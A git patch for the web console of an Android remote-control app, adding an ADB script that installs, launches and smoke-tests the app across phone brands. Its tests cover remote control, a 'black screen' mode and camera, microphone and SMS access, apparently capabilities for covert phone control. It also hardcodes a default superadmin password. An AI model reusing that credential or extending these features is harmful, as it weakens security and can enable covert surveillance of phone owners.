From 429c5b44ac8568aa18bbf1be64a1e74df432fbe3 Mon Sep 17 00:00:00 2001 From: sue Date: Tue, 3 Mar 2026 22:16:16 +0800 Subject: [PATCH] feat: upload latest web source changes --- .editorconfig | 11 + .env.example | 18 + package-lock.json | 20 + package.json | 4 +- scripts/ADB_CONTROL_MATRIX_README.md | 69 + scripts/adb_control_matrix_orchestrator.mjs | 1575 ++++++ scripts/keepalive_app_list_probe.mjs | 231 + scripts/redmi_first_permission_flow.mjs | 409 ++ src/App.css | 56 +- src/components/Admin/TenantManagement.tsx | 891 ++++ src/components/Control/ControlPanel.tsx | 1133 ++++- .../Control/ControlPanel.tsx.bad-20260224 | 4479 +++++++++++++++++ src/components/Control/DebugFunctionsCard.tsx | 12 +- src/components/Control/SmsControlCard.tsx | 3 +- src/components/Device/DeviceScreen.tsx | 2117 +++++++- .../Device/DeviceScreen.tsx.bad-20260224 | 1400 ++++++ src/components/RemoteControlApp.tsx | 373 +- src/store/slices/authSlice.ts | 6 +- src/store/slices/deviceSlice.ts | 197 +- src/store/slices/uiSlice.ts | 4 +- 20 files changed, 12505 insertions(+), 503 deletions(-) create mode 100644 .editorconfig create mode 100644 .env.example create mode 100644 scripts/ADB_CONTROL_MATRIX_README.md create mode 100644 scripts/adb_control_matrix_orchestrator.mjs create mode 100644 scripts/keepalive_app_list_probe.mjs create mode 100644 scripts/redmi_first_permission_flow.mjs create mode 100644 src/components/Admin/TenantManagement.tsx create mode 100644 src/components/Control/ControlPanel.tsx.bad-20260224 create mode 100644 src/components/Device/DeviceScreen.tsx.bad-20260224 diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..4e64767 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,11 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +insert_final_newline = true +indent_style = space +indent_size = 2 + +[*.{ts,tsx,js,jsx,json,css,scss,md,html}] +indent_size = 2 diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..0efcdd6 --- /dev/null +++ b/.env.example @@ -0,0 +1,18 @@ +# 作者: sue +# 日期: 2026-02-19 +# 说明: WebRTC 可选配置,不填时自动使用默认 STUN 与 15s 超时。 + +# WebRTC 连接超时(建议 12000~15000) +VITE_WEBRTC_CONNECT_TIMEOUT_MS=15000 + +# STUN 列表,英文逗号分隔 +VITE_WEBRTC_STUN_URLS=stun:stun.l.google.com:19302,stun:stun1.l.google.com:19302 + +# TURN 列表,英文逗号分隔 +VITE_WEBRTC_TURN_URLS= +VITE_WEBRTC_TURN_USERNAME= +VITE_WEBRTC_TURN_PASSWORD= + +# 如需一次性配置完整 ICE Server,可直接使用 JSON 数组 +# 示例: [{"urls":["stun:stun.l.google.com:19302"]},{"urls":["turn:turn.example.com:3478"],"username":"u","credential":"p"}] +VITE_WEBRTC_ICE_SERVERS= diff --git a/package-lock.json b/package-lock.json index 3540442..ca2db4d 100644 --- a/package-lock.json +++ b/package-lock.json @@ -10,6 +10,7 @@ "dependencies": { "@reduxjs/toolkit": "^2.8.2", "antd": "^5.26.0", + "mpegts.js": "^1.8.0", "react": "^19.1.0", "react-dom": "^19.1.0", "react-redux": "^9.2.0", @@ -2455,6 +2456,11 @@ "node": ">=10.0.0" } }, + "node_modules/es6-promise": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz", + "integrity": "sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==" + }, "node_modules/esbuild": { "version": "0.25.9", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.9.tgz", @@ -3148,6 +3154,15 @@ "node": "*" } }, + "node_modules/mpegts.js": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/mpegts.js/-/mpegts.js-1.8.0.tgz", + "integrity": "sha512-ZtujqtmTjWgcDDkoOnLvrOKUTO/MKgLHM432zGDI8oPaJ0S+ebPxg1nEpDpLw6I7KmV/GZgUIrfbWi3qqEircg==", + "dependencies": { + "es6-promise": "^4.2.5", + "webworkify-webpack": "github:xqq/webworkify-webpack" + } + }, "node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", @@ -4633,6 +4648,11 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, + "node_modules/webworkify-webpack": { + "version": "2.1.5", + "resolved": "git+ssh://git@github.com/xqq/webworkify-webpack.git#24d1e719b4a6cac37a518b2bb10fe124527ef4ef", + "license": "MIT" + }, "node_modules/which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", diff --git a/package.json b/package.json index e06d8dd..88f7ce7 100644 --- a/package.json +++ b/package.json @@ -7,11 +7,13 @@ "dev": "vite", "build": "tsc -b && vite build", "lint": "eslint .", - "preview": "vite preview" + "preview": "vite preview", + "autotest:android-control": "node ./scripts/adb_control_matrix_orchestrator.mjs" }, "dependencies": { "@reduxjs/toolkit": "^2.8.2", "antd": "^5.26.0", + "mpegts.js": "^1.8.0", "react": "^19.1.0", "react-dom": "^19.1.0", "react-redux": "^9.2.0", diff --git a/scripts/ADB_CONTROL_MATRIX_README.md b/scripts/ADB_CONTROL_MATRIX_README.md new file mode 100644 index 0000000..6a168a1 --- /dev/null +++ b/scripts/ADB_CONTROL_MATRIX_README.md @@ -0,0 +1,69 @@ +# Android Control Matrix Orchestrator + +`scripts/adb_control_matrix_orchestrator.mjs` is the batch runner for: + +1. Discovering ADB devices (USB + wireless) +2. Deduplicating transports for one physical phone +3. Installing APK +4. Launching app +5. Mapping ADB device to server `deviceId` +6. Running control-panel smoke test +7. Applying ROM-specific recovery actions and retrying + +## Quick start + +Run with defaults: + +```bash +npm run autotest:android-control +``` + +Dry run: + +```bash +npm run autotest:android-control -- --dry-run --max-devices 2 +``` + +Single device: + +```bash +npm run autotest:android-control -- --only-serials 271d9738 +``` + +## Common options + +- `--build-apk`: build debug APK before testing +- `--apk `: custom APK path +- `--server-http `: override server HTTP endpoint +- `--socket-url `: override socket endpoint for smoke script +- `--max-devices `: limit tested devices +- `--attempts `: override retry attempts +- `--skip-install`: skip APK install stage +- `--report `: save matrix JSON to custom path + +## ROM profile strategy + +Built-in rule profiles: + +- `oppo_family` +- `vivo_iqoo` +- `xiaomi_hyperos` +- `huawei_honor` +- `default` + +Each profile controls: + +- max attempts +- warning tolerance +- settle/wait timeout +- recovery action sequence + +## Output + +The matrix report contains: + +- selected serial and deduped transports +- resolved `deviceId` mapping logic +- per-attempt install/launch/online/smoke details +- final pass/fail summary + diff --git a/scripts/adb_control_matrix_orchestrator.mjs b/scripts/adb_control_matrix_orchestrator.mjs new file mode 100644 index 0000000..9be4891 --- /dev/null +++ b/scripts/adb_control_matrix_orchestrator.mjs @@ -0,0 +1,1575 @@ +#!/usr/bin/env node + +import { spawn } from 'node:child_process' +import { access, mkdir, readFile, writeFile } from 'node:fs/promises' +import path from 'node:path' +import { fileURLToPath } from 'node:url' + +const __filename = fileURLToPath(import.meta.url) +const __dirname = path.dirname(__filename) +const WEB_BAK_DIR = path.resolve(__dirname, '..') +const ROOT_DIR = path.resolve(WEB_BAK_DIR, '..') +const AND_BAK_DIR = path.resolve(ROOT_DIR, 'and-bak') + +const APP_PACKAGE = 'com.hikoncont' +const APP_MAIN_ACTIVITY = 'com.hikoncont.MainActivity' + +const DEFAULTS = { + serverHttp: process.env.RC_SERVER_HTTP || '', + socketUrl: process.env.RC_SOCKET_URL || '', + username: process.env.RC_USER || process.env.SUPERADMIN_USERNAME || 'superadmin', + password: process.env.RC_PASS || process.env.SUPERADMIN_PASSWORD || 'superadmin123456789', + apkPath: process.env.RC_APK_PATH || path.resolve(AND_BAK_DIR, 'app', 'build', 'outputs', 'apk', 'debug', 'app-debug.apk'), + reportPath: process.env.RC_MATRIX_REPORT || path.resolve(ROOT_DIR, `_tmp_adb_control_matrix_result_${Date.now()}.json`), + smokeTimeoutMs: Number(process.env.RC_SMOKE_TIMEOUT_MS || 240000), + waitOnlineMs: Number(process.env.RC_WAIT_ONLINE_MS || 90000), + installTimeoutMs: Number(process.env.RC_INSTALL_TIMEOUT_MS || 240000), + settleMs: Number(process.env.RC_SETTLE_MS || 7000), + parallelDevices: Number(process.env.RC_PARALLEL_DEVICES || 0), + triageLogcatLines: Number(process.env.RC_TRIAGE_LOGCAT_LINES || 2500) +} + +const PROFILE_RULES = [ + { + id: 'oppo_family', + priority: 120, + maxAttempts: 4, + allowedWarn: 5, + settleMs: 10000, + smokeTimeoutMs: 270000, + waitOnlineMs: 120000, + recoveryActions: ['wake', 'force_stop', 'home', 'launch', 'wait_long'], + match: (d) => hasAny(`${d.brand} ${d.manufacturer}`, ['oppo', 'oneplus', 'realme']) + }, + { + id: 'vivo_iqoo', + priority: 115, + maxAttempts: 4, + allowedWarn: 5, + settleMs: 10000, + smokeTimeoutMs: 270000, + waitOnlineMs: 120000, + recoveryActions: ['wake', 'force_stop', 'home', 'launch', 'wait_long'], + match: (d) => hasAny(`${d.brand} ${d.manufacturer} ${d.model}`, ['vivo', 'iqoo']) + }, + { + id: 'xiaomi_hyperos', + priority: 110, + maxAttempts: 3, + allowedWarn: 4, + settleMs: 8000, + smokeTimeoutMs: 240000, + waitOnlineMs: 100000, + recoveryActions: ['wake', 'home', 'launch', 'wait_medium', 'reconnect_if_wifi'], + match: (d) => hasAny(`${d.brand} ${d.manufacturer} ${d.model}`, ['xiaomi', 'redmi', 'poco']) + }, + { + id: 'huawei_honor', + priority: 100, + maxAttempts: 3, + allowedWarn: 4, + settleMs: 9000, + smokeTimeoutMs: 240000, + waitOnlineMs: 100000, + recoveryActions: ['wake', 'force_stop', 'launch', 'wait_medium'], + match: (d) => hasAny(`${d.brand} ${d.manufacturer} ${d.model}`, ['huawei', 'honor']) + }, + { + id: 'default', + priority: 0, + maxAttempts: 3, + allowedWarn: 4, + settleMs: 7000, + smokeTimeoutMs: 240000, + waitOnlineMs: 90000, + recoveryActions: ['wake', 'launch', 'wait_short'], + match: () => true + } +] + +const CRITICAL_SMOKE_STEPS = new Set([ + 'request_device_control', + 'enable_black_screen', + 'disable_black_screen', + 'app_list', + 'camera_permission_check', + 'microphone_permission_check', + 'sms_permission_check', + 'gallery_permission_check' +]) + +const RUNTIME_PERMISSION_LIST = [ + 'android.permission.CAMERA', + 'android.permission.RECORD_AUDIO', + 'android.permission.READ_SMS', + 'android.permission.SEND_SMS', + 'android.permission.RECEIVE_SMS', + 'android.permission.READ_MEDIA_IMAGES', + 'android.permission.READ_MEDIA_VIDEO', + 'android.permission.READ_EXTERNAL_STORAGE' +] + +function nowIso() { + return new Date().toISOString() +} + +function log(...args) { + console.log(`[${nowIso()}]`, ...args) +} + +function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)) +} + +function hasAny(raw, needles) { + const source = String(raw || '').toLowerCase() + return needles.some((needle) => source.includes(needle)) +} + +function parseArgs(argv) { + const options = { + buildApk: false, + skipInstall: false, + dryRun: false + } + + for (let i = 2; i < argv.length; i += 1) { + const token = argv[i] + if (!token.startsWith('--')) { + continue + } + + const [rawKey, inlineValue] = token.includes('=') + ? token.split(/=(.*)/s) + : [token, undefined] + const key = rawKey.replace(/^--/, '') + const value = inlineValue ?? argv[i + 1] + const hasExplicitValue = inlineValue !== undefined || (!String(argv[i + 1] || '').startsWith('--') && argv[i + 1] !== undefined) + + const setValue = (targetKey) => { + if (hasExplicitValue) { + options[targetKey] = value + if (inlineValue === undefined) i += 1 + } + } + + switch (key) { + case 'adb': + setValue('adbPath') + break + case 'apk': + setValue('apkPath') + break + case 'server-http': + setValue('serverHttp') + break + case 'socket-url': + setValue('socketUrl') + break + case 'user': + setValue('username') + break + case 'pass': + setValue('password') + break + case 'report': + setValue('reportPath') + break + case 'max-devices': + setValue('maxDevices') + break + case 'only-serials': + setValue('onlySerials') + break + case 'attempts': + setValue('attempts') + break + case 'parallel-devices': + setValue('parallelDevices') + break + case 'smoke-timeout-ms': + setValue('smokeTimeoutMs') + break + case 'wait-online-ms': + setValue('waitOnlineMs') + break + case 'install-timeout-ms': + setValue('installTimeoutMs') + break + case 'settle-ms': + setValue('settleMs') + break + case 'triage-logcat-lines': + setValue('triageLogcatLines') + break + case 'build-apk': + options.buildApk = true + break + case 'skip-install': + options.skipInstall = true + break + case 'dry-run': + options.dryRun = true + break + case 'help': + options.help = true + break + default: + break + } + } + + return options +} + +function printHelp() { + console.log(` +Usage: + node scripts/adb_control_matrix_orchestrator.mjs [options] + +Options: + --adb ADB executable path + --apk APK file path + --build-apk Build debug APK before testing + --skip-install Skip APK install stage + --server-http Server HTTP URL (default from config/env) + --socket-url Socket URL for smoke script + --user Login username + --pass Login password + --only-serials Restrict ADB serials + --max-devices Limit tested devices + --attempts Override attempts per device + --parallel-devices Number of devices tested concurrently (default: all selected) + --smoke-timeout-ms Smoke timeout + --wait-online-ms Wait online timeout + --install-timeout-ms Install timeout + --settle-ms Delay after app launch + --triage-logcat-lines Logcat lines kept in per-attempt triage bundle + --report Output JSON report path + --dry-run Print planned actions only +`) +} + +async function runCommand(command, args, opts = {}) { + const { + cwd = process.cwd(), + env = process.env, + timeoutMs = 0, + allowFailure = true + } = opts + + return new Promise((resolve, reject) => { + const child = spawn(command, args, { + cwd, + env, + stdio: ['ignore', 'pipe', 'pipe'] + }) + + let stdout = '' + let stderr = '' + let settled = false + let timeoutHandle = null + + if (timeoutMs > 0) { + timeoutHandle = setTimeout(() => { + if (settled) return + settled = true + child.kill('SIGTERM') + resolve({ + ok: false, + command, + args, + cwd, + stdout, + stderr: `${stderr}\n`, + code: null, + timedOut: true + }) + }, timeoutMs) + } + + child.stdout.on('data', (chunk) => { + stdout += chunk.toString() + }) + child.stderr.on('data', (chunk) => { + stderr += chunk.toString() + }) + + child.on('error', (error) => { + if (settled) return + settled = true + if (timeoutHandle) clearTimeout(timeoutHandle) + if (allowFailure) { + resolve({ + ok: false, + command, + args, + cwd, + stdout, + stderr: `${stderr}\n${error.message}`, + code: null, + timedOut: false + }) + } else { + reject(error) + } + }) + + child.on('close', (code) => { + if (settled) return + settled = true + if (timeoutHandle) clearTimeout(timeoutHandle) + const ok = code === 0 + const result = { + ok, + command, + args, + cwd, + stdout, + stderr, + code, + timedOut: false + } + if (ok || allowFailure) { + resolve(result) + } else { + reject(new Error(`command_failed ${command} ${args.join(' ')} code=${code}`)) + } + }) + }) +} + +async function readIfExists(filePath) { + try { + return await readFile(filePath, 'utf8') + } catch { + return '' + } +} + +async function fileExists(filePath) { + try { + await access(filePath) + return true + } catch { + return false + } +} + +function parseServerHttpFromConfig(raw) { + try { + const json = JSON.parse(raw) + const serverUrl = String(json?.serverUrl || '').trim() + if (!serverUrl) return '' + if (serverUrl.startsWith('ws://')) return `http://${serverUrl.slice(5)}` + if (serverUrl.startsWith('wss://')) return `https://${serverUrl.slice(6)}` + return serverUrl + } catch { + return '' + } +} + +async function getDefaultServerHttp() { + if (DEFAULTS.serverHttp) return DEFAULTS.serverHttp + const cfgPath = path.resolve(AND_BAK_DIR, 'app', 'src', 'main', 'assets', 'server_config.json') + const raw = await readIfExists(cfgPath) + return parseServerHttpFromConfig(raw) +} + +async function getSdkDirFromLocalProperties() { + const localPropertiesPath = path.resolve(AND_BAK_DIR, 'local.properties') + const raw = await readIfExists(localPropertiesPath) + const line = raw + .split(/\r?\n/) + .map((v) => v.trim()) + .find((v) => v.startsWith('sdk.dir=')) + if (!line) return '' + return line.slice('sdk.dir='.length).replace(/\\/g, '/').trim() +} + +async function resolveAdbPath(explicitAdbPath) { + const exeName = process.platform === 'win32' ? 'adb.exe' : 'adb' + const candidates = [] + + if (explicitAdbPath) candidates.push(explicitAdbPath) + if (process.env.RC_ADB_PATH) candidates.push(process.env.RC_ADB_PATH) + + for (const envKey of ['ANDROID_HOME', 'ANDROID_SDK_ROOT']) { + if (process.env[envKey]) { + candidates.push(path.join(process.env[envKey], 'platform-tools', exeName)) + } + } + + const sdkDir = await getSdkDirFromLocalProperties() + if (sdkDir) { + candidates.push(path.join(sdkDir, 'platform-tools', exeName)) + } + + candidates.push('adb') + + for (const candidate of candidates) { + const result = await runCommand(candidate, ['version'], { + cwd: ROOT_DIR, + timeoutMs: 6000, + allowFailure: true + }) + if (result.ok) { + return candidate + } + } + + throw new Error('ADB not found. Provide --adb or configure Android SDK path.') +} + +async function adb(adbPath, args, opts = {}) { + return runCommand(adbPath, args, opts) +} + +async function adbForSerial(adbPath, serial, args, opts = {}) { + return runCommand(adbPath, ['-s', serial, ...args], opts) +} + +function parseAdbDeviceList(raw) { + const devices = [] + const lines = String(raw || '').split(/\r?\n/) + for (const line of lines) { + const trimmed = line.trim() + if (!trimmed || trimmed.startsWith('List of devices attached')) continue + const match = trimmed.match(/^(\S+)\s+(\S+)\s*(.*)$/) + if (!match) continue + const [, serial, status, extraRaw] = match + if (status !== 'device') continue + const extras = {} + if (extraRaw) { + for (const token of extraRaw.split(/\s+/)) { + const [k, v] = token.split(':') + if (k && v !== undefined) extras[k] = v + } + } + devices.push({ + serial, + status, + extras + }) + } + return devices +} + +function sanitizeFileToken(input) { + return String(input || 'unknown') + .replace(/[^\w.-]+/g, '_') + .replace(/^_+|_+$/g, '') +} + +function simplifyTransportEntry(item) { + return { + serial: item.serial, + status: item.status, + transportId: item.extras?.transport_id || '', + model: item.extras?.model || '', + device: item.extras?.device || '', + product: item.extras?.product || '' + } +} + +async function listOnlineAdbTransports(adbPath) { + const listResult = await adb(adbPath, ['devices', '-l'], { + cwd: ROOT_DIR, + timeoutMs: 10000, + allowFailure: true + }) + if (!listResult.ok) { + return { + ok: false, + error: `${listResult.stderr || ''}\n${listResult.stdout || ''}`.trim(), + transports: [] + } + } + return { + ok: true, + error: '', + transports: parseAdbDeviceList(listResult.stdout) + } +} + +function isTransportLostOutput(raw) { + const text = String(raw || '').toLowerCase() + if (!text) return false + return ( + text.includes('device not found') || + text.includes('no devices/emulators found') || + text.includes('device offline') || + text.includes('more than one device/emulator') || + text.includes('cannot connect to') || + text.includes('closed') + ) +} + +async function adbGetProp(adbPath, serial, prop) { + const result = await adbForSerial(adbPath, serial, ['shell', 'getprop', prop], { + cwd: ROOT_DIR, + timeoutMs: 6000, + allowFailure: true + }) + if (!result.ok) return '' + return result.stdout.trim() +} + +async function adbGetAndroidId(adbPath, serial) { + const main = await adbForSerial(adbPath, serial, ['shell', 'settings', 'get', 'secure', 'android_id'], { + cwd: ROOT_DIR, + timeoutMs: 6000, + allowFailure: true + }) + const value = main.stdout.trim() + if (value && value.toLowerCase() !== 'null') return value + + const fallback = await adbGetProp(adbPath, serial, 'ro.serialno') + if (fallback) return fallback + return serial +} + +async function adbReadAppDeviceIdFromLogcat(adbPath, serial) { + const result = await adbForSerial(adbPath, serial, ['logcat', '-d', '-t', '5000'], { + cwd: ROOT_DIR, + timeoutMs: 12000, + allowFailure: true + }) + if (!result.ok) return '' + + const raw = `${result.stdout}\n${result.stderr}` + const regex = /device_register\s*#\d+:\s*deviceId=([0-9a-fA-F]+)/g + let match = null + let last = '' + // eslint-disable-next-line no-cond-assign + while ((match = regex.exec(raw)) !== null) { + last = String(match[1] || '').trim() + } + return last +} + +function transportScore(serial) { + if (serial.includes(':')) return 20 + if (serial.startsWith('adb-')) return 10 + return 30 +} + +function selectBestTransport(candidates) { + return [...candidates].sort((a, b) => { + const scoreDiff = transportScore(b.serial) - transportScore(a.serial) + if (scoreDiff !== 0) return scoreDiff + return a.serial.localeCompare(b.serial) + })[0] +} + +function normalizeDevicePayload(raw) { + if (Array.isArray(raw)) return raw + if (Array.isArray(raw?.data)) return raw.data + if (Array.isArray(raw?.devices)) return raw.devices + if (Array.isArray(raw?.value)) return raw.value + return [] +} + +async function loginServer(serverHttp, username, password) { + const response = await fetch(`${serverHttp}/api/auth/login`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ username, password }) + }) + const body = await response.json().catch(() => ({})) + if (!response.ok || !body?.success || !body?.token) { + throw new Error(`server_login_failed status=${response.status}`) + } + return body.token +} + +async function fetchDevices(serverHttp, token) { + const response = await fetch(`${serverHttp}/api/devices`, { + headers: { Authorization: `Bearer ${token}` } + }) + const body = await response.json().catch(() => ({})) + if (!response.ok) { + throw new Error(`fetch_devices_failed status=${response.status}`) + } + return normalizeDevicePayload(body) +} + +async function waitForDeviceOnline(serverHttp, token, candidateDeviceIds, timeoutMs, hint = {}) { + const deadline = Date.now() + timeoutMs + const ids = Array.from(new Set((candidateDeviceIds || []).map((v) => String(v || '').trim()).filter(Boolean))) + let last = null + while (Date.now() < deadline) { + try { + const devices = await fetchDevices(serverHttp, token) + for (const id of ids) { + const found = devices.find((item) => String(item?.id || '') === id) + if (found && String(found?.status || '').toLowerCase() === 'online') { + return { device: found, matchedBy: id } + } + if (found) last = { device: found, matchedBy: id } + } + + const onlineDevices = devices.filter((item) => String(item?.status || '').toLowerCase() === 'online') + const hintModel = String(hint?.model || '').trim().toLowerCase() + if (hintModel) { + const modelMatches = onlineDevices.filter((item) => String(item?.model || '').trim().toLowerCase() === hintModel) + if (modelMatches.length === 1) { + return { device: modelMatches[0], matchedBy: 'model_fallback' } + } + } + } catch { + // transient server errors should not terminate the full matrix run + } + await sleep(3000) + } + return last +} + +function resolveProfile(device) { + return [...PROFILE_RULES] + .sort((a, b) => b.priority - a.priority) + .find((rule) => rule.match(device)) || PROFILE_RULES[PROFILE_RULES.length - 1] +} + +async function buildApkIfNeeded(options) { + if (!options.buildApk) return + log('Building APK via Gradle...') + const gradle = process.platform === 'win32' ? 'gradlew.bat' : './gradlew' + const result = await runCommand(gradle, [':app:assembleDebug'], { + cwd: AND_BAK_DIR, + timeoutMs: 30 * 60 * 1000, + allowFailure: true + }) + if (!result.ok) { + throw new Error(`apk_build_failed: ${result.stderr || result.stdout}`) + } + log('APK build finished.') +} + +async function installApk(adbPath, serial, apkPath, timeoutMs) { + const first = await adbForSerial(adbPath, serial, ['install', '-r', '-d', apkPath], { + cwd: ROOT_DIR, + timeoutMs, + allowFailure: true + }) + if (first.ok && /success/i.test(first.stdout + first.stderr)) { + return { ok: true, output: first.stdout + first.stderr, mode: 'install-r-d' } + } + + const fallback = await adbForSerial(adbPath, serial, ['install', '-r', apkPath], { + cwd: ROOT_DIR, + timeoutMs, + allowFailure: true + }) + if (fallback.ok && /success/i.test(fallback.stdout + fallback.stderr)) { + return { ok: true, output: fallback.stdout + fallback.stderr, mode: 'install-r' } + } + + const combined = `${first.stdout}\n${first.stderr}\n${fallback.stdout}\n${fallback.stderr}` + if (/INSTALL_FAILED_UPDATE_INCOMPATIBLE/i.test(combined)) { + await adbForSerial(adbPath, serial, ['uninstall', APP_PACKAGE], { + cwd: ROOT_DIR, + timeoutMs: 45000, + allowFailure: true + }) + const clean = await adbForSerial(adbPath, serial, ['install', apkPath], { + cwd: ROOT_DIR, + timeoutMs, + allowFailure: true + }) + if (clean.ok && /success/i.test(clean.stdout + clean.stderr)) { + return { ok: true, output: clean.stdout + clean.stderr, mode: 'uninstall-install' } + } + return { ok: false, output: `${combined}\n${clean.stdout}\n${clean.stderr}`, mode: 'failed_after_uninstall' } + } + + return { ok: false, output: combined, mode: 'failed' } +} + +async function launchApp(adbPath, serial) { + await adbForSerial(adbPath, serial, ['shell', 'input', 'keyevent', '224'], { + cwd: ROOT_DIR, + timeoutMs: 5000, + allowFailure: true + }) + + const monkey = await adbForSerial(adbPath, serial, ['shell', 'monkey', '-p', APP_PACKAGE, '-c', 'android.intent.category.LAUNCHER', '1'], { + cwd: ROOT_DIR, + timeoutMs: 20000, + allowFailure: true + }) + if (monkey.ok) return { ok: true, mode: 'monkey' } + + const fallback = await adbForSerial(adbPath, serial, ['shell', 'am', 'start', '-n', `${APP_PACKAGE}/${APP_MAIN_ACTIVITY}`], { + cwd: ROOT_DIR, + timeoutMs: 20000, + allowFailure: true + }) + return { ok: fallback.ok, mode: fallback.ok ? 'am_start' : 'launch_failed', output: `${monkey.stderr}\n${fallback.stderr}` } +} + +function evaluateSmoke(report, allowedWarn) { + if (!report || !report.summary) { + return { pass: false, reason: 'missing_smoke_report' } + } + + if (Number(report.summary.fail || 0) > 0) { + return { pass: false, reason: `smoke_fail_${report.summary.fail}` } + } + + if (Number(report.summary.warn || 0) > allowedWarn) { + return { pass: false, reason: `smoke_warn_${report.summary.warn}_gt_${allowedWarn}` } + } + + const failedCritical = [] + const steps = Array.isArray(report.steps) ? report.steps : [] + for (const name of CRITICAL_SMOKE_STEPS) { + const step = steps.find((item) => item?.name === name) + if (!step || step.status !== 'ok') { + failedCritical.push(name) + } + } + + if (failedCritical.length > 0) { + return { pass: false, reason: `critical_steps_failed:${failedCritical.join(',')}` } + } + + return { pass: true, reason: 'pass' } +} + +async function applyRecovery(adbPath, serial, profile) { + for (const action of profile.recoveryActions || []) { + switch (action) { + case 'wake': + await adbForSerial(adbPath, serial, ['shell', 'input', 'keyevent', '224'], { cwd: ROOT_DIR, timeoutMs: 5000, allowFailure: true }) + break + case 'force_stop': + await adbForSerial(adbPath, serial, ['shell', 'am', 'force-stop', APP_PACKAGE], { cwd: ROOT_DIR, timeoutMs: 10000, allowFailure: true }) + break + case 'home': + await adbForSerial(adbPath, serial, ['shell', 'input', 'keyevent', '3'], { cwd: ROOT_DIR, timeoutMs: 5000, allowFailure: true }) + break + case 'launch': + await launchApp(adbPath, serial) + break + case 'reconnect_if_wifi': + if (serial.includes(':')) { + await adb(adbPath, ['connect', serial], { cwd: ROOT_DIR, timeoutMs: 15000, allowFailure: true }) + } + break + case 'wait_short': + await sleep(2500) + break + case 'wait_medium': + await sleep(5000) + break + case 'wait_long': + await sleep(9000) + break + default: + break + } + } +} + +async function runSmokeForDevice(params) { + const { + deviceId, + serverHttp, + socketUrl, + username, + password, + reportPath, + timeoutMs, + stdoutPath, + stderrPath + } = params + + const env = { + ...process.env, + RC_DEVICE_ID: deviceId, + RC_SERVER_HTTP: serverHttp, + RC_SOCKET_URL: socketUrl, + RC_USER: username, + RC_PASS: password, + RC_REPORT_PATH: reportPath + } + + const result = await runCommand('node', ['_tmp_control_panel_smoke.mjs', deviceId], { + cwd: WEB_BAK_DIR, + env, + timeoutMs, + allowFailure: true + }) + + const rawReport = await readIfExists(reportPath) + let parsedReport = null + if (rawReport) { + try { + parsedReport = JSON.parse(rawReport) + } catch { + parsedReport = null + } + } + + if (stdoutPath) { + await writeFile(stdoutPath, String(result.stdout || ''), 'utf8') + } + if (stderrPath) { + await writeFile(stderrPath, String(result.stderr || ''), 'utf8') + } + return { + processResult: result, + report: parsedReport, + stdoutPath: stdoutPath || '', + stderrPath: stderrPath || '' + } +} + +async function collectDeviceRuntime(adbPath, baseDevice) { + const serial = baseDevice.serial + const brand = await adbGetProp(adbPath, serial, 'ro.product.brand') + const manufacturer = await adbGetProp(adbPath, serial, 'ro.product.manufacturer') + const model = await adbGetProp(adbPath, serial, 'ro.product.model') + const device = await adbGetProp(adbPath, serial, 'ro.product.device') + const product = await adbGetProp(adbPath, serial, 'ro.product.name') + const sdk = await adbGetProp(adbPath, serial, 'ro.build.version.sdk') + const release = await adbGetProp(adbPath, serial, 'ro.build.version.release') + const androidId = await adbGetAndroidId(adbPath, serial) + const appDeviceId = await adbReadAppDeviceIdFromLogcat(adbPath, serial) + + return { + ...baseDevice, + androidId, + appDeviceId, + brand, + manufacturer, + model, + device, + product, + sdkInt: Number(sdk || 0), + release + } +} + +async function collectTransportFingerprint(adbPath, baseDevice) { + const serial = baseDevice.serial + const androidId = await adbGetAndroidId(adbPath, serial) + const brand = await adbGetProp(adbPath, serial, 'ro.product.brand') + const manufacturer = await adbGetProp(adbPath, serial, 'ro.product.manufacturer') + const model = await adbGetProp(adbPath, serial, 'ro.product.model') + const appDeviceId = await adbReadAppDeviceIdFromLogcat(adbPath, serial) + return { + ...baseDevice, + androidId, + brand, + manufacturer, + model, + appDeviceId + } +} + +async function resolveDeviceTransport(adbPath, device) { + const listed = await listOnlineAdbTransports(adbPath) + const fallback = { + ok: false, + serial: device.serial, + changed: false, + matchedBy: 'unresolved', + transports: [], + message: listed.error || 'adb_list_failed' + } + if (!listed.ok) { + return fallback + } + + const transports = listed.transports + const direct = transports.find((item) => item.serial === device.serial) + if (direct) { + return { + ok: true, + serial: device.serial, + changed: false, + matchedBy: 'current_serial', + transports, + message: '' + } + } + + const knownSerials = new Set([device.serial, ...(device.duplicateSerials || [])]) + const knownOnline = transports.filter((item) => knownSerials.has(item.serial)) + if (knownOnline.length > 0) { + const selected = selectBestTransport(knownOnline) + return { + ok: true, + serial: selected.serial, + changed: selected.serial !== device.serial, + matchedBy: 'known_serial', + transports, + message: '' + } + } + + const fingerprints = [] + for (const transport of transports) { + const fp = await collectTransportFingerprint(adbPath, transport) + fingerprints.push(fp) + } + + const androidIdMatches = fingerprints.filter((item) => item.androidId && item.androidId === device.androidId) + if (androidIdMatches.length > 0) { + const selected = selectBestTransport(androidIdMatches) + return { + ok: true, + serial: selected.serial, + changed: selected.serial !== device.serial, + matchedBy: 'android_id', + transports, + message: '' + } + } + + const modelNeedle = String(device.model || '').trim().toLowerCase() + if (modelNeedle) { + const modelMatches = fingerprints.filter((item) => String(item.model || '').trim().toLowerCase() === modelNeedle) + if (modelMatches.length === 1) { + return { + ok: true, + serial: modelMatches[0].serial, + changed: modelMatches[0].serial !== device.serial, + matchedBy: 'model_fallback', + transports, + message: '' + } + } + } + + return { + ok: false, + serial: device.serial, + changed: false, + matchedBy: 'not_found', + transports, + message: 'device_transport_not_found' + } +} + +async function adbReadRuntimePermissionState(adbPath, serial, permission) { + const result = await adbForSerial(adbPath, serial, ['shell', 